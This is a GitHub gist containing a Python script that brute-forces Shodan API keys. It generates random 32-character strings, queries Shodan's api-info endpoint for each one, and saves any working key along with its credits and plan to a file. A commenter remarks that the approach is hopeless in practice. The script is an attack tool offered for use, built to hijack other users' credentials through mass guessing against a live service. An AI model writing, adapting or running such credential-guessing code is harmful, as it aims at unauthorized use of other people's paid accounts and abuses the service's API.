Skip to content

Instantly share code, notes, and snippets.

@JoyGhoshs
Created September 16, 2022 13:06
Show Gist options
  • Save JoyGhoshs/14d98c18047413a4a72b8bdbcebe8143 to your computer and use it in GitHub Desktop.
Save JoyGhoshs/14d98c18047413a4a72b8bdbcebe8143 to your computer and use it in GitHub Desktop.
import requests
import random
import json
import time
def key_generator():
key = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(random.choice(key) for i in range(32))
def key_vaildator(key):
try:
api = "https://api.shodan.io/api-info?key="+key
r = requests.get(api)
data = json.loads(r.text)
if data['unlocked'] == True:
print("Valid Key: "+key)
print("Credits: ",data['query_credits'])
print("Plan: ",data['plan'])
save = open("valid.txt","a")
save.write(key+"\n")
save.close()
else:
print("Invalid Key: "+key)
print(r.text)
except:
print("Invalid Key: "+key)
for i in range (2272657884496751345355241563627544170162852933518655225856):
key = key_generator()
key_vaildator(key)
@zb3
Copy link

zb3 commented Oct 6, 2022

I think I'll win in a lottery sooner than the script finds a valid key :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment